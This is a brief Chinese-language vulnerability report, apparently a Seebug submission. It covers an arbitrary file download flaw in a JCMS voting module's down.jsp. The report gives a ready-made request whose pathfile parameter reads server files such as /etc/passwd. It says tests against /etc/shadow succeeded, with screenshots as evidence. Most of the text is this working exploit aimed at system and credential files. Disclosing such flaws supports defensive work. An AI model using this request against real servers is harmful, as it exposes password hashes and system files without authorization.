权限没设置好,导致可以枚举文件名下载文件
```
/jcms/m_5_e/module/voting/down.jsp?filename=username&pathfile=/etc/passwd
```
pathfile就对着自己的linux输入就行了,这里测试了几个
```
/etc/shadow
```
![](https://images.seebug.org/contribute/437e2adc-f6e7-4908-9328-20283e757a40-1.png)
```
/etc/shadow
```
![](https://images.seebug.org/contribute/1cc52544-d03e-4c1d-96d2-c4ae36647841-2.png)
暂无评论